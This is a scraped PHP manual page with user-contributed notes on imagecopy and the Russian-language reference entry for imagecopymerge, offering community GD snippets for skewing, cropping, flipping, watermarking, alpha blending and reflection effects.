imagealphablending($imgdest, false);
imagesavealpha($imgdest, true);

In another post here it mentioned you didn't have to use the imagesavealpha function, but I found without it the background transparency can turn the background canvas black.
etienne at escott dot info 03-Jul-2009 02:16
This is based on the Skew function from designerkamal at gmail dot com.

This is a function for skewing images in PHP with anti-aliasing. It works with alpha PNG images.

Warning: the bigger the image you skew, the longer it will take to process. It's about 3 times longer than without anti-aliasing.

<?php
// $img: handle of an image
// $skew_val: level of skew to apply (0 being none, 1 being 45°)
function imageskewantialiased($img, $skew_val)
{
    $width = imagesx($img);
    $height = imagesy($img);
    $height2 = $height + ($width * $skew_val);

    // See below for definition of imagecreatealpha
    $imgdest = imagecreatealpha($width, $height2);

    // Process the image
    for($x = 0, $level = 0; $x < $width - 1; $x++)
    {
        $floor = floor($level);

        // To go faster, some lines are being copied at once
        if ($level == $floor)
            imagecopy($imgdest, $img, $x, $level, $x, 0, 1, $height - 1);
        else
        {
            $temp = $level - $floor;

            // The first pixel of the line
            // We get the color then apply a fade on it depending on the level
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, 0));
            $alpha = $color1['alpha'] + ($temp * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor, $color);
            }

            // The rest of the line
            for($y = 1; $y < $height - 1; $y++)
            {
                // Merge this pixel and the upper one
                $color2 = imagecolorsforindex($img, imagecolorat($img, $x, $y));
                $alpha = ($color1['alpha'] * $temp) + ($color2['alpha'] * (1 - $temp));
                if ($alpha < 127)
                {
                    $red   = ($color1['red']   * $temp) + ($color2['red']   * (1 - $temp));
                    $green = ($color1['green'] * $temp) + ($color2['green'] * (1 - $temp));
                    $blue  = ($color1['blue']  * $temp) + ($color2['blue']  * (1 - $temp));
                    $color = imagecolorallocatealpha($imgdest, $red, $green, $blue, $alpha);
                    imagesetpixel($imgdest, $x, $floor + $y, $color);
                }

                $color1 = $color2;
            }

            // The last pixel of the line
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, $height - 1));
            $alpha = $color1['alpha'] + ((1 - $temp) * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor + $height - 1, $color);
            }
        }

        // The line is finished, the next line will be lower
        $level += $skew_val;
    }

    // Finished processing, return the skewed image
    return $imgdest;
}

// Creates a new image of the size specified with a blank background (transparent)
function imagecreatealpha($width, $height)
{
    // Create a normal image and apply required settings
    $img = imagecreatetruecolor($width, $height);
    imagealphablending($img, false);
    imagesavealpha($img, true);

    // Apply the transparent background
    $trans = imagecolorallocatealpha($img, 0, 0, 0, 127);
    for ($x = 0; $x < $width; $x++)
    {
        for ($y = 0; $y < $height; $y++)
        {
            imagesetpixel($img, $x, $y, $trans);
        }
    }

    return $img;
}

// Here's an example of how to use it
imagepng(imageskewantialiased(imagecreatefrompng('test.png'), 0.15), 'skew.png');
?>
John Conde 27-May-2009 07:55
Simple and basic image cropping:

<?php
// Original image
$filename = 'someimage.jpg';

// Get dimensions of the original image
list($current_width, $current_height) = getimagesize($filename);

// The x and y coordinates on the original image where we
// will begin cropping the image
$left = 50;
$top = 50;

// This will be the final size of the image (e.g. how many pixels
// left and down we will be going)
$crop_width = 200;
$crop_height = 200;

// Resample the image
$canvas = imagecreatetruecolor($crop_width, $crop_height);
$current_image = imagecreatefromjpeg($filename);
imagecopy($canvas, $current_image, 0, 0, $left, $top, $current_width, $current_height);
imagejpeg($canvas, $filename, 100);
?>
webmaster at plumage dot nl 18-Mar-2009 04:38
I have a few remarks om the mirror-function:
The cases horizontal and vertical are switched.
1 = vertical and 2 = horizontal.
When I used it there appeared a black lining of 1 pixel on the side or on the top of the picture.
To remove it the function becomes as follows:

<?php
function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( $mode )
    {

        case '1': //vertical
            $src_y                =    $height -1;
            $src_height           =    -$height;
        break;

        case '2': //horizontal
            $src_x                =    $width -1;
            $src_width            =    -$width;
        break;

        case '3': //both
            $src_x                =    $width -1;
            $src_y                =    $height -1;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y , $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}
?>
xafford 27-Sep-2008 05:53
concerning the previous post of Borszczuk and the function to mirror images:

There?s a way better (and faster) method for this task with imagecopyresampled.

<?php

define ( 'IMAGE_FLIP_HORIZONTAL', 1 );
define ( 'IMAGE_FLIP_VERTICAL', 2 );
define ( 'IMAGE_FLIP_BOTH', 3 );

function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( (int) $mode )
    {

        case IMAGE_FLIP_HORIZONTAL:
            $src_y                =    $height;
            $src_height           =    -$height;
        break;

        case IMAGE_FLIP_VERTICAL:
            $src_x                =    $width;
            $src_width            =    -$width;
        break;

        case IMAGE_FLIP_BOTH:
            $src_x                =    $width;
            $src_y                =    $height;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y, $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}

?>
Cory Gagliardi 08-Jul-2008 11:40
Here is some simple code for resizing an uploaded image and inserting a watermark (from a 24-bit PNG) on the bottom right of it.  In this case, the water mark was a diagnol band that said "SOLD" across it.  The code that verifies the uploaded image is the correct type has been omitted:

<?PHP
//Load and resize the image
$uploaded = imagecreatefromjpeg($_FILES['file']['tmp_name']);
$image = imagecreatetruecolor(IMAGE_WIDTH, IMAGE_HEIGHT);
imagecopyresampled($image, $uploaded, 0, 0, 0, 0, IMAGE_WIDTH, IMAGE_HEIGHT, imagesx($uploaded), imagesy($uploaded));
imagealphablending($image,true); //allows us to apply a 24-bit watermark over $image

//Load the sold watermark
$sold_band = imagecreatefrompng('../images/sold_band.png');
imagealphablending($sold_band,true);

//Apply watermark and save
$image = image_overlap($image, $sold_band);
imagecopy($image,$sold_band,IMAGE_WIDTH - SOLD_WIDTH,IMAGE_HEIGHT - SOLD_HEIGHT,0,0,SOLD_WIDTH,SOLD_HEIGHT);
$success = imagejpeg($image,'../images/sold/'.$id.'.jpg',85);

imagedestroy($image);
imagedestroy($uploaded);
imagedestroy($sold_band);
?>
matrebatre 02-Feb-2008 05:22
I had the same problem as Jeff, but his solution didn't work for me. I made this script, and it seems to work:

<?php

$img = imagecreatefromgif('in.gif');
$w = imagesx($img);
$h = imagesy($img);

$trans = imagecolortransparent($img);
if($trans >= 0) {

$rgb = imagecolorsforindex($img, $trans);

$oldimg = $img;
$img = imagecreatetruecolor($w,$h);
$color = imagecolorallocate($img,$rgb['red'],$rgb['green'],$rgb['blue']);
imagefilledrectangle($img,0,0,$w,$h,$color);
imagecopy($img,$oldimg,0,0,0,0,$w,$h);

}

imagegif($img,'out.gif');

?>
Jeff 22-Feb-2007 03:27
I came across the problem of having a page where any image could be uploaded, then I would need to work with it as a true color image with transparency. The problem came with palette images with transparency (e.g. GIF images), the transparent parts changed to black (no matter what color was actually representing transparent) when I used imagecopy to convert the image to true color.

To convert an image to true color with the transparency as well, the following code works (assuming $img is your image resource):

<?php
//Convert $img to truecolor
$w = imagesx($img);
$h = imagesy($img);
if (!imageistruecolor($img)) {
  $original_transparency = imagecolortransparent($img);
  //we have a transparent color
  if ($original_transparency >= 0) {
    //get the actual transparent color
    $rgb = imagecolorsforindex($img, $original_transparency);
    $original_transparency = ($rgb['red'] << 16) | ($rgb['green'] << 8) | $rgb['blue'];
    //change the transparent color to black, since transparent goes to black anyways (no way to remove transparency in GIF)
    imagecolortransparent($img, imagecolorallocate($img, 0, 0, 0));
  }
  //create truecolor image and transfer
  $truecolor = imagecreatetruecolor($w, $h);
  imagealphablending($img, false);
  imagesavealpha($img, true);
  imagecopy($truecolor, $img, 0, 0, 0, 0, $w, $h);
  imagedestroy($img);
  $img = $truecolor;
  //remake transparency (if there was transparency)
  if ($original_transparency >= 0) {
    imagealphablending($img, false);
    imagesavealpha($img, true);
    for ($x = 0; $x < $w; $x++)
      for ($y = 0; $y < $h; $y++)
        if (imagecolorat($img, $x, $y) == $original_transparency)
          imagesetpixel($img, $x, $y, 127 << 24);
  }
}
?>

And now $img is a true color image resource
john at mccarthy dot net 17-Jan-2007 05:37
Here is an upgrade of that cool wave function: Double the size of the image, wave it, then resample it down again. This makes even nicer, anti aliased waves.

    // So easy and nice!
    function wave_region($img, $x, $y, $width, $height,$amplitude = 4.5,$period = 30)
    {
        // Make a copy of the image twice the size
        $mult = 2;
        $img2 = imagecreatetruecolor($width * $mult, $height * $mult);
        imagecopyresampled ($img2,$img,0,0,$x,$y,$width * $mult,$height * $mult,$width, $height);

        // Wave it
        for ($i = 0;$i < ($width * $mult);$i += 2)
        {
           imagecopy($img2,$img2,
               $x + $i - 2,$y + sin($i / $period) * $amplitude,    // dest
               $x + $i,$y,            // src
               2,($height * $mult));
        }

        // Resample it down again
        imagecopyresampled ($img,$img2,$x,$y,0,0,$width, $height,$width * $mult,$height * $mult);
        imagedestroy($img2);
    }

To use it in a full image:
    wave_region ($oImage,0,0,imagesx($oImage),imagesy($oImage));
C. Jansen 16-Aug-2006 11:02
While replying to a post in a support forum I noticed something odd about imagecopy(). The first snippet (should) create an image object, allocate a colour resource within that image, fill the background with the allocated colour and then copy another, cropped to fit, image onto it.

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    //fill the background with white
    imagefill( $temp, 0, 0, $white );

    //copy the image into new a resource
    imagecopy($temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height);
?>

But this produces a black background. I noticed taking away the imagefill() call yields the same results. The solution was to call imagefill() after the imagecopy(). Thinking linearly I would have guessed this to cover the previously copied image in white but it doesn't. I guess GD uses a layer system? Is this correct?

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    // copy image into new resource
    imagecopy( $temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height );

    //fill the background with white (not sure why it has to be in this order)
    imagefill( $temp, 0, 0, $white );
?>

I am using php 5.1.4 with the bundled GD (2.0.28)
admin at cvxdes dot com 23-Feb-2006 08:26
I used this to watermark images. This is the function I wrote:

<?php
function watermark($url,$logo){
    $bwidth  = imagesx($url);
    $bheight = imagesy($url);
    $lwidth  = imagesx($logo);
    $lheight = imagesy($logo);
    $src_x = $bwidth - ($lwidth + 5);
    $src_y = $bheight - ($lheight + 5);
    ImageAlphaBlending($url, true);
    ImageCopy($url,$logo,$src_x,$src_y,0,0,$lwidth,$lheight);
}
?>

Usage:
<?php
//$current_image would be your image the watermark is overlayed onto. Make sure it's imagecreatefrom*** to work.
watermark($current_image,$watermark_image);
?>

Hope this helps someone.
designerkamal at gmail dot com 09-Feb-2006 11:38
Skewing images in PHP...
<?php
function Skew($src, $dest, $skew_val)
{
  $imgsrc = imagecreatefromgif($src);
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);
  $imgdest = imagecreatetruecolor($width, $height+($height*$skew_val));
  $trans = imagecolorallocate($imgdest,0,0,0);
  $temp=0;
  for($x=0 ; $x<$width ; $x++)
   {
     for($y=0 ; $y<$height ; $y++)
    {
        imagecopy($imgdest, $imgsrc, $x, $y+$temp, $x, $y, 1, 1);
      imagecolortransparent($imgdest,$trans);

    }
    $temp+=$skew_val;
   }
  imagepng($imgdest, $dest);
  imagedestroy($imgsrc);
  imagedestroy($imgdest);
}
Skew("img.gif", "img2.png","1");
print "<img src='img.gif'>";
print "<br><br>";
print "<img src='img2.png'>";
?>
ragnar_40k at hotmail dot com 21-Nov-2005 03:17
Here a function to make holes into images:

// Set the alpha channel for a part of an image (it ignores the canvas alpha atm).
// $img_canvas - 32-bit true color image w/ alpha channel
// $img_mask - 8-bit gray scale image (white parts will be masked transparent in the canvas).
// This relies on the current pixel format:
// (high byte) -> (alpha channel} {red} {green} {blue} <- (low byte)
function mask($img_canvas, $img_mask, $dst_x, $dst_y)
{
   $old_blendmode = imagealphablending($img_canvas, FALSE);

   $width  = imagesx($img_mask);
   $heigth = imagesy($img_mask);

   $mask_x = 0;
   $x = $dst_y;
   while ($mask_x<$width)
   {
       $mask_y = 0;
       $y = $dst_y;
       while ($mask_y<$heigth)
       {
           imagesetpixel($img_canvas, $x, $y,
               ((imagecolorat($img_mask, $mask_x, $mask_y) >> 1) << 24) | (imagecolorat($img_canvas, $x, $y) & 0x00FFFFFF));

           ++$mask_y;
           ++$y;
       }
       ++$mask_x;
       ++$x;
   }

   imagealphablending($img_canvas, $old_blendmode);
}
johnny at netvor dot sk 21-Oct-2005 08:48
simple image combination srcipt, ie. if u want to create one  huuuge signature from more small ones

<?php
// config --
$src = array ("http://www.google.com/images/logo_sm.gif", "http://sk2.php.net/images/php.gif");
$under = 0;    // combine images underneath or not?
// -- end of config

$imgBuf = array ();
$maxW=0; $maxH=0;
foreach ($src as $link)
{
    switch(substr ($link,strrpos ($link,".")+1))
    {
        case 'png':
            $iTmp = imagecreatefrompng($link);
            break;
        case 'gif':
            $iTmp = imagecreatefromgif($link);
            break;
        case 'jpeg':
        case 'jpg':
            $iTmp = imagecreatefromjpeg($link);
            break;
    }

    if ($under)
    {
        $maxW=(imagesx($iTmp)>$maxW)?imagesx($iTmp):$maxW;
        $maxH+=imagesy($iTmp);
    }
    else
    {
        $maxW+=imagesx($iTmp);
        $maxH=(imagesy($iTmp)>$maxH)?imagesy($iTmp):$maxH;
    }

    array_push ($imgBuf,$iTmp);
}

$iOut = imagecreate ($maxW,$maxH) ;

$pos=0;
foreach ($imgBuf as $img)
{
    if ($under)
        imagecopy ($iOut,$img,0,$pos,0,0,imagesx($img),imagesy($img));
    else
        imagecopy ($iOut,$img,$pos,0,0,0,imagesx($img),imagesy($img));
    $pos+= $under ? imagesy($img) : imagesx($img);
    imagedestroy ($img);
}

imagegif($iOut);
?>


Копирует часть изображения с наложением

  • « imagecopy
  • imagecopymergegray »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Копирует часть изображения с наложением

imagecopymerge

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecopymerge — Копирует часть изображения с наложением

Описание

imagecopymerge(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $src_width,
int $src_height,
int $pct
): bool

Копирует часть src_image и помещает скопированное на dst_image, начиная с координат src_x, src_y с шириной src_width и высотой src_height. Скопированная часть помещается на координаты dst_x и dst_y.

Список параметров

dst_image

Ресурс целевого изображения.

src_image

Ресурс исходного изображения.

dst_x

x-координата результирующего изображения.

dst_y

y-координата результирующего изображения.

src_x

x-координата исходного изображения.

src_y

y-координата исходного изображения.

src_width

Ширина исходного изображения.

src_height

Высота исходного изображения.

pct

Два изображения будут совмещаться в зависимости от параметра pct, который может варьироваться от 0 до 100. Когда pct = 0, наложения не происходит. В случае значения 100 эта функция ведёт себя аналогично функции imagecopy() для палитровых изображений, несмотря на то что она поддерживает прозрачность для truecolor-изображений.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dst_image и src_image теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Совмещение двух копий логотипа PHP.net с 75% прозрачностью

<?php
// Создание изображений
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// Копирование и наложение
imagecopymerge($dest, $src, 10, 10, 0, 0, 100, 47, 75);

// Вывод и освобождение памяти
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

highton ridley 01-Jul-2019 08:29
killing_wombles0000 gave an almost working piece of code to mirror an image with increasing transparency. With help from showdev on stackexchange, here's the corrected and fully working code:
<?php
$in = imagecreatefromjpeg('https://picsum.photos/id/1084/536/354?grayscale');
$reflection_strength = 120;        //    starting transparency (0-127, 0 being opaque)
$reflection_height = 40;        //     height of reflection in pixels
$gap = 0;                        //    gap between image and reflection

$orig_height = imagesy($in);                                //    store height of original image
$orig_width = imagesx($in);                                    //    store height of original image
$output_height = $orig_height + $reflection_height + $gap;    //    calculate height of output image

// create new image to use for output. fill with BLACK.
$out = imagecreatetruecolor($orig_width, $output_height);
//imagealphablending($out, false);
//$bg = imagecolortransparent($out, imagecolorallocatealpha($out, 255, 255, 255, 127));
$bg = imagecolorallocatealpha($out, 0,0,0,0);
imagefill($out, 0, 0, $bg);
imagefilledrectangle($out, 0, 0, imagesx($in), imagesy($in), $bg);

// copy original image onto new one, leaving space underneath for reflection and 'gap'
imagecopyresampled ( $out , $in , 0, 0, 0, 0, imagesx($in), imagesy($in), imagesx($in), imagesy($in));

 // create new single-line image to act as buffer while applying transparency
$reflection_section = imagecreatetruecolor(imagesx($in), 1);
imagealphablending($reflection_section, false);
$bg1 = imagecolortransparent($reflection_section, imagecolorallocatealpha($reflection_section, 255, 255, 255, 127));
imagefill($reflection_section, 0, 0, $bg1);

// 1. copy each line individually, starting at the 'bottom' of the image, working upwards.
// 2. set transparency to vary between reflection_strength and 127
// 3. copy line back to mirrored position in original
for ($y = 0; $y<$reflection_height;$y++)
{
    $t = ((127-$reflection_strength) + ($reflection_strength*($y/$reflection_height)));
    imagecopy($reflection_section, $out, 0, 0, 0, imagesy($in)  - $y, imagesx($in), 1);
    imagefilter($reflection_section, IMG_FILTER_COLORIZE, 0, 0, 0, $t);
    imagecopyresized($out, $reflection_section, 0, imagesy($in) + $y + $gap, 0, 0, imagesx($in) - 0, 1, imagesx($in), 1);
}

// output image to view
header('Content-type: image/png');
imagesavealpha($out,true);
imagepng($out);
?>
Leo 04-Jan-2012 09:14
The following function creates mask of a true color image for a given color. Beforehand for creating an image mask I used to loop over all image pixels and check their color using imagecolorat and copy if the color matches with imagesetpixel. This was very slow for large images, so the following code improves the process.

<?php

    function getOppositeColor ($color)
    {
        return (
                    ( (255 - ($color >> 16) & 0xFF) << 16 ) +
                    ( (255 - ($color >> 8  ) & 0xFF) << 8  ) +
                    ( (255 - ($color         ) & 0xFF)         )
                );
    }

    function createImageMask (&$image, $color)
    {
        $w = imagesx ($image);
        $h = imagesy ($image);

        $tmpImage = imagecreatetruecolor ($w, $h);

        imagecopy ($tmpImage, $image, 0, 0, 0, 0, $w, $h);

        imagefilter ($image, IMG_FILTER_NEGATE);

        imagecolortransparent ($image, getOppositeColor ($color));

        imagecopymerge ($tmpImage, $image, 0, 0, 0, 0, $w, $h, 50);

        imagedestroy ($image);

        $image = $tmpImage;
    }

?>

So for example, if we have a photo and we specify color = (255, 0, 0), i.e. red, the result will be image of the same size with red pixels everywhere the original photo was red and grey pixels exerywhere else.
Leo 04-Jan-2012 06:27
imagecopymerge PHP function helped me to create a fast method that replaces one color by another in true color images.

Beforehand for this purpose I had to loop over all the pixels of an image and replace color pixel by pixel using imagecolorat and imagesetpixel; this method is really slow for large images.

So here is the fast one:

<?php

function replaceColorInImage ($image, $old_r, $old_g, $old_b, $new_r, $new_g, $new_b)
{
    imagecolortransparent ($image, imagecolorallocate ($image, $old_r, $old_g, $old_b));

    $w = imagesx ($image);
    $h = imagesy ($image);

    $resImage = imagecreatetruecolor ($w, $h);

    imagefill ($resImage, 0, 0, imagecolorallocate ($resImage, $new_r, $new_g, $new_b));

    imagecopymerge ($resImage, $image, 0, 0, 0, 0, $w, $h, 100);

    return $resImage;
}

?>
thciobanu 09-Mar-2011 12:56
This is what I use for merging two images while respecting the alpha channel (formulas are taken from the wikipedia article on alpha compositing; they're not too pretty as I didn't really try to make them look so, but instead just work and make sense when checked out months from now), with a quirk - an additional parameter (that defaults to NULL to be ignored) to manually specify a "transparent" color, which won't be copied over from the source to the destination. In comparison to the other implementation here, only one pass over $src_im is done, but more calculations are performed:

<?php
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, $trans = NULL)
{
  $dst_w = imagesx($dst_im);
  $dst_h = imagesy($dst_im);

  // bounds checking
  $src_x = max($src_x, 0);
  $src_y = max($src_y, 0);
  $dst_x = max($dst_x, 0);
  $dst_y = max($dst_y, 0);
  if ($dst_x + $src_w > $dst_w)
    $src_w = $dst_w - $dst_x;
  if ($dst_y + $src_h > $dst_h)
    $src_h = $dst_h - $dst_y;

  for($x_offset = 0; $x_offset < $src_w; $x_offset++)
    for($y_offset = 0; $y_offset < $src_h; $y_offset++)
    {
      // get source & dest color
      $srccolor = imagecolorsforindex($src_im, imagecolorat($src_im, $src_x + $x_offset, $src_y + $y_offset));
      $dstcolor = imagecolorsforindex($dst_im, imagecolorat($dst_im, $dst_x + $x_offset, $dst_y + $y_offset));

      // apply transparency
      if (is_null($trans) || ($srccolor !== $trans))
      {
        $src_a = $srccolor['alpha'] * $pct / 100;
        // blend
        $src_a = 127 - $src_a;
        $dst_a = 127 - $dstcolor['alpha'];
        $dst_r = ($srccolor['red'] * $src_a + $dstcolor['red'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_g = ($srccolor['green'] * $src_a + $dstcolor['green'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_b = ($srccolor['blue'] * $src_a + $dstcolor['blue'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_a = 127 - ($src_a + $dst_a * (127 - $src_a) / 127);
        $color = imagecolorallocatealpha($dst_im, $dst_r, $dst_g, $dst_b, $dst_a);
        // paint
        if (!imagesetpixel($dst_im, $dst_x + $x_offset, $dst_y + $y_offset, $color))
          return false;
        imagecolordeallocate($dst_im, $color);
      }
    }
  return true;
}

// use it like this (identical to imagecopymerge)
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct)
// or this
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, array('red' => 1, 'green' => 2, 'blue' => 3, 'alpha' =>4))
?>
killing_wombles0000 at hotmail dot com 17-Feb-2011 09:27
Anyone wanting to create a reflecion of an image. Simple process that copies, line by line, from the bottom of the image, a given number of pixels. Each line gets gradually more transparent. Outputs PNG to screen.

This is pretty hot-coded - all four input variables (input image, reflection height, starting transparency, gap between image and reflection) are set manually here.

<?php
    $in = imagecreatefromjpeg('C:\test.jpg');
    $reflection_strength = 120;        //    starting transparency (0-127, 0 being opaque)
    $reflection_height = 40;        //     height of reflection in pixels
    $gap = 10;                        //    gap between image and reflection

    $orig_height = imagesy($in);                                //    store height of original image
    $orig_width = imagesx($in);                                    //    store height of original image
    $output_height = $orig_height + $reflection_height + $gap;    //    calculate height of output image

    // create new image to use for output. fill with transparency. ALPHA BLENDING MUST BE FALSE
    $out = imagecreatetruecolor($orig_width, $output_height);
    imagealphablending($out, false);
    $bg = imagecolortransparent($out, imagecolorallocatealpha($out, 255, 255, 255, 127));
    imagefill($out, 0, 0, $bg);
    imagefilledrectangle($out, 0, 0, imagesx($in), imagesy($in), $bg1);

    // copy original image onto new one, leaving space underneath for reflection and 'gap'
    imagecopyresampled ( $out , $in , 0, 0, 0, 0, imagesx($in), imagesy($in), imagesx($in), imagesy($in));

     // create new single-line image to act as buffer while applying transparency
    $reflection_section = imagecreatetruecolor(imagesx($in), 1);
    imagealphablending($reflection_section, false);
    $bg1 = imagecolortransparent($reflection_section, imagecolorallocatealpha($reflection_section, 255, 255, 255, 127));
    imagefill($reflection_section, 0, 0, $bg1);

    // 1. copy each line individually, starting at the 'bottom' of the image, working upwards.
    // 2. set transparency to vary between reflection_strength and 127
    // 3. copy line back to mirrored position in original
    for ($y = 0; $y<$reflection_height;$y++)
    {
        $t = ((127-$reflection_strength) + ($reflection_strength*($y/$reflection_height)));
        imagecopy($reflection_section, $out, 0, 0, 0, imagesy($in)  - $y, imagesx($in), 1);
        imagefilter($reflection_section, IMG_FILTER_COLORIZE, 0, 0, 0, $t);
        imagecopyresized($out, $reflection_section, $a, imagesy($in) + $y + $gap, 0, 0, imagesx($in) - (2*$a), 1, imagesx($in), 1);
    }

    // output image to view
    header('Content-type: image/png');
    imagesavealpha($out,true);
    imagepng($out);
?>
Sina Salek 09-Aug-2009 01:26
I've just checked PHP's issue tracker and a core developer says that this function was never meant to support alpha channel! and they refused to commit the provided patch! so ridicules
Anyway i tried rodrigo's workaround and it worked quite well, thanks rodrigo for sharing it.
I came up with another idea which is much faster than his solution, (it may need a little bit more memory)

Hope it helps someone.

<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * by Sina Salek
 *
 * Bugfix by Ralph Voigt (bug which causes it
 * to work only for $src_x = $src_y = 0.
 * Also, inverting opacity is not necessary.)
 * 08-JAN-2011
 *
 **/
    function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
        // creating a cut resource
        $cut = imagecreatetruecolor($src_w, $src_h);

        // copying relevant section from background to the cut resource
        imagecopy($cut, $dst_im, 0, 0, $dst_x, $dst_y, $src_w, $src_h);

        // copying relevant section from watermark to the cut resource
        imagecopy($cut, $src_im, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // insert cut resource to destination image
        imagecopymerge($dst_im, $cut, $dst_x, $dst_y, 0, 0, $src_w, $src_h, $pct);
    }

?>
santin1991[at]gmail[dot]com 23-Apr-2009 04:16
Add logo on image script.
<?php
/**
 * Put logo on low right jpeg image
 * used stefan's script for position
 **/
$logo_file = "logo.png";
$image_file = "img.jpg";
$targetfile = "img2.jpg";
$photo = imagecreatefromjpeg($image_file);
$fotoW = imagesx($photo);
$fotoH = imagesy($photo);
$logoImage = imagecreatefrompng($logo_file);
$logoW = imagesx($logoImage);
$logoH = imagesy($logoImage);
$photoFrame = imagecreatetruecolor($fotoW,$fotoH);
$dest_x = $fotoW - $logoW;
$dest_y = $fotoH - $logoH;
imagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH);
imagecopy($photoFrame, $logoImage, $dest_x, $dest_y, 0, 0, $logoW, $logoH);
imagejpeg($photoFrame, $targetfile);
echo '<img src="'.$targetfile.'" />';
?>
rodrigo dot polo at gmail dot com 25-Jan-2009 02:52
<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * This is a function like imagecopymerge but it handle alpha channel well!!!
 **/

// A fix to get a function like imagecopymerge WITH ALPHA SUPPORT
// Main script by aiden dot mail at freemail dot hu
// Transformed to imagecopymerge_alpha() by rodrigo dot polo at gmail dot com
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
    if(!isset($pct)){
        return false;
    }
    $pct /= 100;
    // Get image width and height
    $w = imagesx( $src_im );
    $h = imagesy( $src_im );
    // Turn alpha blending off
    imagealphablending( $src_im, false );
    // Find the most opaque pixel in the image (the one with the smallest alpha value)
    $minalpha = 127;
    for( $x = 0; $x < $w; $x++ )
    for( $y = 0; $y < $h; $y++ ){
        $alpha = ( imagecolorat( $src_im, $x, $y ) >> 24 ) & 0xFF;
        if( $alpha < $minalpha ){
            $minalpha = $alpha;
        }
    }
    //loop through image pixels and modify alpha for each
    for( $x = 0; $x < $w; $x++ ){
        for( $y = 0; $y < $h; $y++ ){
            //get current alpha value (represents the TANSPARENCY!)
            $colorxy = imagecolorat( $src_im, $x, $y );
            $alpha = ( $colorxy >> 24 ) & 0xFF;
            //calculate new alpha
            if( $minalpha !== 127 ){
                $alpha = 127 + 127 * $pct * ( $alpha - 127 ) / ( 127 - $minalpha );
            } else {
                $alpha += 127 * $pct;
            }
            //get the color index with new alpha
            $alphacolorxy = imagecolorallocatealpha( $src_im, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
            //set pixel with the new color + opacity
            if( !imagesetpixel( $src_im, $x, $y, $alphacolorxy ) ){
                return false;
            }
        }
    }
    // The image copy
    imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h);
}

// USAGE EXAMPLE:
$img_a = imagecreatefrompng('image1.png');
$img_b = imagecreatefrompng('wm2.png');

// SAME COMMANDS:
imagecopymerge_alpha($img_a, $img_b, 10, 10, 0, 0, imagesx($img_b), imagesy($img_b),50);

// OUTPUT IMAGE:
header("Content-Type: image/png");
imagesavealpha($img_a, true);
imagepng($img_a, NULL);
?>
gigitrix 03-Sep-2008 06:01
Some highly amusing stuff: This code appears normal and is a way to cut out slices of an image randomly.

<?php
header("Content-Type: image/jpeg");
$width=837;
$height=771;
$origim = imagecreatefromjpeg("theimage.jpeg"); /* Attempt to open */
$imagetodisplay=imagecreate($width, $height);

for($i=0;$i<=100;$i++)
{
$xPos=rand(0,$width-9);
$yPos=rand(0,$height-9);
imagecopy($imagetodisplay, $origim, $xPos, $yPos , $xPos, $yPos , 10  , 10);
}

imagejpeg($imagetodisplay);
imagedestroy($imagetodisplay);
imagedestroy($origim);
?>

